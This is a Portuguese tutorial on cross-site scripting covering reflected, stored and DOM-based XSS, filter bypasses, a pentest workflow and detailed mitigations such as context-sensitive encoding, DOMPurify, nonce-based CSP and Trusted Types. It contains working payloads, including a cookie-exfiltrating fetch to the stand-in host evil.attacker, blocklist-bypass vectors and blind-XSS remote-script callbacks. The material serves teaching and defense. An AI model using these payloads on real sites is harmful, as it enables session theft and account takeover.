Cross-Site Scripting (XSS) é a falha em que um atacante consegue fazer com que código JavaScript escolhido por ele seja executado no navegador de outro usuário, dentro da origem da aplicação vulnerável. Muita gente reduz isso a “um popup de alerta”, mas o que está em jogo é execução de código arbitrário no contexto da vítima. Tudo que o JavaScript da sua página pode fazer (ler o DOM, disparar requisições autenticadas, acessar document.cookie, mexer no localStorage), o atacante também pode, agora em nome de quem visitou a página.
A gravidade vem justamente desse “contexto da vítima”. Como o script roda na sua origem, ele já está do lado de dentro da same-origin policy: pode falar com a sua API com os cookies de sessão do usuário, capturar o que ele digita, alterar o que ele vê e agir como ele. Por isso o XSS é uma das vulnerabilidades mais comuns e, ao mesmo tempo, uma das mais subestimadas. E a defesa correta quase nunca é “filtrar a palavra script”.
Como funciona
Todo XSS nasce do mesmo lugar: dados controlados pelo atacante chegam a um ponto onde o navegador os interpreta como código, em vez de tratá-los como texto. A diferença entre os tipos está em onde esses dados trafegam antes de chegar lá.
Considere uma busca que devolve o termo pesquisado direto no HTML:
# Servidor vulnerável (Flask) — concatena input do usuário no HTML
@app.get("/buscar")
def buscar():
termo = request.args.get("q", "")
return f"<h1>Resultados para: {termo}</h1>" # <- sem encoding
Uma busca normal por notebook produz <h1>Resultados para: notebook</h1>. Mas o atacante manda outra coisa:
GET /buscar?q=<script>fetch('https://evil.attacker/c?'+document.cookie)</script> HTTP/1.1
Host: app.exemplo.com
A resposta passa a conter:
<h1>Resultados para: <script>fetch('https://evil.attacker/c?'+document.cookie)</script></h1>
O navegador não tem como saber que aquele <script> veio de um parâmetro hostil. Ele só vê uma tag de script válida na sua origem e a executa. Esse é o XSS refletido: o payload viaja na requisição, é “refletido” na resposta imediata e dispara quando a vítima abre um link preparado.
Detalhe técnico: um
<script>inserido viainnerHTML(DOM-based) não executa, por especificação do HTML. Mas um<script>que chega no HTML direto do servidor (refletido/armazenado), como neste exemplo, é parseado e executado normalmente — por isso a tag<script>funciona aqui, mas os exemplos de DOM-based usarão vetores como<img onerror>.
Os três tipos principais
- Refletido (reflected): o input vem na requisição (URL, formulário) e é devolvido na resposta seguinte sem persistir. Requer entregar um link/POST malicioso à vítima. É o exemplo acima.
- Armazenado (stored): o payload é gravado no servidor (comentário, nome de perfil, ticket de suporte, descrição de produto) e servido para todo mundo que abrir aquela página. Não precisa de link: a vítima só precisa visualizar o conteúdo. É o mais grave porque atinge muitos usuários e pode pegar até administradores no painel interno.
- DOM-based: o servidor sequer participa da injeção. A falha está no JavaScript do cliente, que lê uma fonte controlável e a escreve em um sink perigoso. O payload pode nem chegar ao servidor (em URLs, o fragmento após
#não é enviado na requisição HTTP).
Um exemplo clássico de DOM-based:
// Lê o fragmento da URL e injeta no DOM sem tratamento
const aba = location.hash.slice(1); // source: controlável
document.getElementById("conteudo").innerHTML = aba; // sink: perigoso
Com a URL https://app.exemplo.com/painel#<img src=x onerror=alert(document.domain)>, o innerHTML materializa a <img>, o onerror dispara (a imagem src=x falha de propósito) e temos execução, sem que nada disso tenha passado pelo backend, o que torna o problema invisível para WAFs e logs de servidor. Repare que aqui usamos <img onerror> e não <script>: HTML inserido por innerHTML não executa tags <script>, mas executa handlers de evento como onerror/onload.
Sources e sinks no DOM
Para caçar (e corrigir) DOM XSS, pense em fluxo de dados: de onde o dado vem (source) até onde ele é interpretado (sink).
Sources comuns (entrada controlável): location.href, location.hash, location.search, document.referrer, window.name, mensagens de postMessage, dados vindos de fetch/XMLHttpRequest de terceiros, localStorage/sessionStorage.
Sinks perigosos (interpretam como código):
| Sink | O que interpreta |
|---|---|
innerHTML, outerHTML |
HTML (executa onerror, onload, etc.; não executa <script> inserido) |
document.write |
HTML no fluxo de parsing (executa <script>) |
eval, Function(), setTimeout("..."), setInterval("...") |
JavaScript (apenas quando recebem string) |
element.setAttribute("href", x) / location = x |
URLs (esquema javascript:) |
el.insertAdjacentHTML |
HTML |
A regra prática: todo dado que sai de um source e chega a um sink sem sanitização é um XSS esperando para acontecer.
Variações e bypasses
XSS não se resume aos três tipos didáticos. Quem testa de verdade encontra variantes que enganam filtros ingênuos.
O contexto mudou, e o escaping também precisa mudar. O mesmo input é inofensivo em um lugar e fatal em outro. Veja a mesma variável NOME em quatro contextos:
<!-- 1. Contexto HTML (corpo) -->
<p>Olá, NOME</p>
<!-- payload: <script>alert(1)</script> → precisa escapar < > & -->
<!-- 2. Contexto de ATRIBUTO -->
<input value="NOME">
<!-- payload: "><script>alert(1)</script> → o " fecha o atributo -->
<!-- 3. Contexto JavaScript -->
<script>var u = "NOME";</script>
<!-- payload: ";alert(1);// → o " fecha a string e injeta código -->
<!-- 4. Contexto URL -->
<a href="NOME">link</a>
<!-- payload: javascript:alert(1) → esquema perigoso, não basta escapar aspas -->
Repare que escapar < e > resolve o contexto 1, mas não protege o 2 (basta uma aspa para fechar o atributo), nem o 3 (a quebra é dentro de uma string JS), nem o 4 (o problema é o esquema javascript:, não um caractere HTML). Daí a defesa primária ser encoding sensível ao contexto, em vez de uma lista de caracteres proibidos.
Atenção ao contexto 3: o escaping correto para uma string dentro de
<script>não é o HTML-encoding comum. Codificar</>ali não impede o ataque (a injeção é com"e;), e ainda corromperia o JavaScript. O caminho seguro é não interpolar dados crus dentro de<script>: serialize comJSON.stringifyno servidor ou injete o valor viadata-*/<script type="application/json">e leia comtextContent/JSON.parseno cliente.
Bypasses de filtros baseados em blocklist. Quando a aplicação tenta remover <script> ou a palavra alert, os contornos são abundantes:
<img src=x onerror=alert(document.domain)> <!-- nem precisa de <script> -->
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">x</a> <!-- entidade HTML quebra o filtro -->
<scr<script>ipt>alert(1)</scr</script>ipt> <!-- filtro que remove "script" uma vez -->
Dois desses merecem nota. No quinto, s é a entidade HTML de s: o filtro vê a string literal javascript: (que não casa com javascript:), mas o navegador decodifica a entidade no momento de parsear o atributo href, resultando em javascript:alert(1). No sexto, um filtro que faz um único replace("<script>", "") é derrotado: ao remover o <script> interno de <scr<script>ipt>, as duas metades se juntam e sobra um <script> válido. Por isso remover padrões é uma estratégia perdida.
Mutation XSS (mXSS). Mais sofisticado: um HTML que parece inofensivo é reescrito pelo próprio navegador ao ser inserido via innerHTML, e a reescrita cria uma tag executável que não existia no texto original. É o terror de sanitizadores caseiros — o HTML “limpo” muta para algo perigoso quando o parser do navegador o normaliza (casos clássicos envolvem <noscript>, <template>, SVG/MathML e namespaces). É a razão de usar um sanitizador maduro como o DOMPurify, que conhece e neutraliza essas mutações, em vez de escrever o seu.
Self-XSS. O atacante convence a própria vítima a colar um payload no console do navegador (“cole isto para liberar um recurso”). Sozinho tem baixo impacto (a vítima ataca a si mesma), mas vira sério quando encadeado com outro vetor — por exemplo, um CSRF que persiste o payload colado, transformando self-XSS em armazenado.
Blind XSS. O payload é armazenado em um lugar que você não vê executar: um campo de “feedback”, um User-Agent logado, um formulário de suporte que só é aberto depois por um analista, no painel interno. A execução acontece em outro contexto, mais tarde. Detecta-se com interação fora de banda (OOB): o payload faz uma chamada para um servidor seu, e você descobre o XSS quando o ping chega.
Worms de XSS. Em XSS armazenado dentro de uma rede social ou plataforma colaborativa, o payload pode, ao executar no navegador de uma vítima, republicar a si mesmo no perfil dela — propagando-se de usuário para usuário. O caso histórico do Samy no MySpace, em 2005, infectou mais de um milhão de perfis em menos de 24 horas. É o XSS levado à escala de epidemia.
Como exploramos no pentest
Do lado do atacante o trabalho é metódico: confirmar a injeção, identificar o contexto e só então montar o payload mínimo que aquele contexto exige.
1. Localizar e confirmar o ponto de reflexão. Mandamos um marcador único e inofensivo (ex.: il7x9q) em cada parâmetro, cabeçalho e campo, e procuramos onde ele reaparece — na resposta HTML ou no DOM já renderizado. No Burp Suite, o Burp Scanner automatiza essa varredura. Para descobrir parâmetros ocultos que sequer estão documentados, usamos o Param Miner.
2. Determinar o contexto exato. Onde o marcador caiu? Dentro de <p>texto</p>? Dentro de value="..."? Dentro de um <script>? Em um atributo href? O contexto define o “caractere de fuga” necessário (<, ", ', ou um esquema de URL). Injetamos os caracteres de teste — '<"> — e observamos quais sobrevivem sem encoding na resposta. Os que passam intactos são a chave.
3. Montar o payload adequado ao contexto. Para validação usamos algo que prova execução sem ambiguidade e que não é destrutivo:
<!-- prova de conceito de impacto, não destrutiva -->
"><script>alert(document.domain)</script>
Usar document.domain em vez de alert(1) deixa claro no relatório em qual origem o código executou — evidência que vale ouro. (Lembre que esse payload com <script> é eficaz em reflexão server-side; para um sink DOM como innerHTML, troque para "><img src=x onerror=alert(document.domain)>.)
4. Caçar DOM XSS. Aqui o servidor não ajuda. Usamos o DOM Invader (embutido no navegador do Burp) para rastrear o fluxo source → sink em tempo real, ou o DevTools com breakpoints em innerHTML/eval. O alvo são as URLs com # e os handlers de postMessage.
5. Disparar blind XSS via OOB. Para campos cuja saída não vemos, plantamos um payload que liga de volta para um listener nosso — o Burp Collaborator ou um serviço como o xsshunter:
<script src="https://SEU-ID.oastify.com/x.js"></script>
Quando um analista interno abre aquele ticket dias depois, o navegador dele carrega nosso script e o Collaborator registra a chamada, com IP, User-Agent e (com um payload mais completo) uma captura do DOM. É a forma mais confiável de provar blind XSS. Observe que, se o ponto de injeção for um sink DOM via innerHTML, a tag <script src> não executa; nesse caso use <img src=x onerror="import('https://SEU-ID.oastify.com/x.js')"> ou equivalente.
6. Avaliar a CSP existente e procurar bypasses. Se há Content-Security-Policy, ela pode reduzir ou neutralizar o impacto. Analisamos a política (o CSP Evaluator do Google ajuda) buscando fraquezas clássicas: unsafe-inline, unsafe-eval, um domínio de CDN na allowlist que hospeda um JSONP ou um arquivo Angular/AngularJS explorável, ou um script-src com curingas amplos. Uma CSP mal configurada dá uma falsa sensação de segurança, e furá-la costuma ser um finding por si só.
Resumo para o relatório
- Impacto: execução de JavaScript arbitrário no contexto da origem da aplicação, no navegador da vítima — permitindo roubo de sessão/cookies, account takeover, keylogging, exfiltração de dados exibidos na página e ações autenticadas em nome da vítima. Em XSS armazenado, atinge múltiplos usuários (inclusive administradores) e pode se propagar como worm.
- Severidade: Alta a Crítica. Refletido típico ~6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N); armazenado atingindo conta privilegiada chega a Crítico (8.0+). Self-XSS isolado: Baixa. Ajuste o vetor ao caso real (impacto, escopo e interação variam).
- Pré-condições: um ponto de injeção que chega a um contexto interpretável sem encoding/sanitização; para refletido, induzir a vítima a abrir um link/POST; para armazenado, apenas que a vítima visualize o conteúdo. Ausência ou fraqueza de CSP e de
HttpOnlyamplifica o impacto.- Evidência sugerida: requisição com o payload e a resposta mostrando a reflexão sem encoding; captura do
alert(document.domain)executando; para blind XSS, o log do Collaborator/listener OOB (timestamp, IP, origem); para DOM XSS, o trecho de código com source e sink e o rastro do DOM Invader.
Como mitigar
A defesa do desenvolvedor tem uma camada primária e várias de profundidade. A primária é o output encoding sensível ao contexto: no momento em que você insere um dado em uma página, codifique-o para o contexto exato em que ele entra.
# ERRADO: concatenação crua
return f"<h1>Resultados para: {termo}</h1>"
# CERTO: encoding para contexto HTML
from markupsafe import escape
return f"<h1>Resultados para: {escape(termo)}</h1>"
# < vira < > vira > " vira " ' vira ' → tratado como TEXTO, não código
Na prática, a maioria dos motores de template server-side (Jinja2, Django, Razor, Thymeleaf) já faz esse escaping HTML por padrão; o perigo aparece quando você desliga o auto-escaping (| safe, mark_safe, Html.Raw) ou concatena strings à mão como no exemplo “ERRADO”. Quando essa mesma entrada é avaliada como código de template, e não como dado, surge o primo server-side do XSS — o Server-Side Template Injection; a nossa cheatsheet de SSTI lista payloads de detecção e RCE por engine.
Use o auto-escaping do framework — e conheça suas armadilhas. React, Angular e Vue escapam a interpolação por padrão. Em React, <div>{nome}</div> é seguro automaticamente. O perigo está nas “saídas de emergência” que desligam essa proteção:
// React — perigoso: ignora o auto-escaping
<div dangerouslySetInnerHTML={{ __html: comentario }} />
<!-- Vue — perigoso -->
<div v-html="comentario"></div>
// Angular — perigoso
this.html = this.sanitizer.bypassSecurityTrustHtml(comentario);
Esses três são as portas de XSS mais comuns em SPAs modernas. A regra: nunca passe dados controláveis para dangerouslySetInnerHTML, v-html ou bypassSecurityTrust* sem sanitizar antes (ver DOMPurify abaixo). O auto-escaping cobre o contexto HTML/atributo da interpolação, mas não protege automaticamente contra href="javascript:..." montado a partir de dado controlável; esquemas de URL ainda exigem validação explícita.
Evite os sinks perigosos. Prefira APIs que tratam dado como texto:
// ERRADO
el.innerHTML = dadoDoUsuario;
// CERTO — textContent nunca interpreta HTML
el.textContent = dadoDoUsuario;
// Para construir elementos, crie nós, não strings
const link = document.createElement("a");
link.textContent = nome; // texto seguro
link.setAttribute("href", urlValidada); // valide o esquema antes
E valide o esquema de URLs antes de colocá-las em href/src: permita apenas https: (e talvez mailto:), rejeitando javascript: e data:.
function urlSegura(u) {
try {
const { protocol } = new URL(u, location.origin);
return ["https:", "mailto:"].includes(protocol) ? u : "about:blank";
} catch {
return "about:blank";
}
}
Quando você precisa permitir HTML rico (um editor de texto, por exemplo), não escreva seu próprio sanitizador — use o DOMPurify, que entende inclusive as mutações de mXSS:
import DOMPurify from "dompurify";
// Sanitiza HTML rico mantendo só tags/atributos seguros
const limpo = DOMPurify.sanitize(htmlDoUsuario, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
ALLOWED_ATTR: ["href"],
});
el.innerHTML = limpo; // agora seguro
Content-Security-Policy como defesa em profundidade. Uma CSP estrita baseada em nonce impede que scripts injetados executem mesmo que um XSS escape do encoding:
Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Só scripts com o nonce correto (gerado por requisição e impossível de adivinhar) rodam; um <script> injetado pelo atacante não tem o nonce e é bloqueado pelo navegador. O 'strict-dynamic' permite que um script confiável carregue outros sem precisar listar cada domínio, e base-uri 'none' evita que um <base> injetado sequestre URLs relativas. Nunca use unsafe-inline em script-src — ele anula a proteção (em navegadores que entendem strict-dynamic, o unsafe-inline é ignorado quando há nonce, mas mantê-lo na política é um cheiro de configuração ruim).
Trusted Types leva isso adiante: faz o navegador recusar qualquer atribuição de string crua a sinks de DOM perigosos como innerHTML, forçando que tudo passe por uma policy de sanitização. Fecha a porta da grande maioria dos DOM XSS por construção (não cobre, por si só, vetores fora dos sinks de “script”, como href="javascript:", que continuam exigindo validação de URL). Atualmente é suportado pelos navegadores baseados em Chromium; em outros é ignorado sem quebrar a página, então funciona como reforço progressivo.
Content-Security-Policy: require-trusted-types-for 'script'
Cookies HttpOnly não previnem XSS, mas reduzem o impacto: um cookie de sessão HttpOnly não é legível por document.cookie, então o roubo direto de sessão via document.cookie falha (o atacante ainda pode agir via requisições autenticadas a partir do próprio navegador da vítima, mas perde o caminho mais fácil de exfiltrar a sessão).
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
Validação de entrada não substitui encoding de saída. Validar formato na entrada (e-mail é e-mail, idade é número) é boa higiene, mas o mesmo dado válido pode ser inofensivo em um contexto e perigoso em outro. O XSS se resolve no momento da saída, codificando para o contexto de destino — só ali se sabe se o dado vira HTML, atributo, JS ou URL.
Checklist de mitigação
- Output encoding sensível ao contexto em toda inserção de dado na página (HTML, atributo, JS, URL).
- Confiar no auto-escaping do framework e auditar todo uso de
dangerouslySetInnerHTML,v-html,bypassSecurityTrust*e de “saídas de emergência” de templates (| safe,mark_safe,Html.Raw). - Evitar sinks perigosos (
innerHTML,document.write,eval,setTimeout/setIntervalcom string); preferirtextContentecreateElement/setAttribute. - Validar o esquema de URLs (só
https:/mailto:) antes dehref/src; rejeitarjavascript:edata:. - Sanitizar HTML rico com DOMPurify (nunca um sanitizador caseiro) — cobre mXSS.
- CSP estrita baseada em nonce +
strict-dynamic; semunsafe-inline/unsafe-eval;object-src 'none'ebase-uri 'none'. - Trusted Types (
require-trusted-types-for 'script') para blindar sinks no DOM. - Cookies de sessão com
HttpOnly,SecureeSameSitepara conter o impacto. - Tratar todas as entradas — incluindo cabeçalhos,
User-Agente campos internos — como vetores de blind XSS.
XSS é, no fundo, uma confusão entre dado e código: em algum ponto, texto que o atacante controla foi interpretado como instrução. A defesa madura não tenta adivinhar quais caracteres são “perigosos” na entrada. Ela garante que, na saída, todo dado seja inequivocamente tratado como dado, no contexto exato em que aparece. Entender o contexto de cada saída é o que de fato resolve o XSS. Confiar numa blocklist de caracteres, no melhor caso, só adia a próxima injeção.


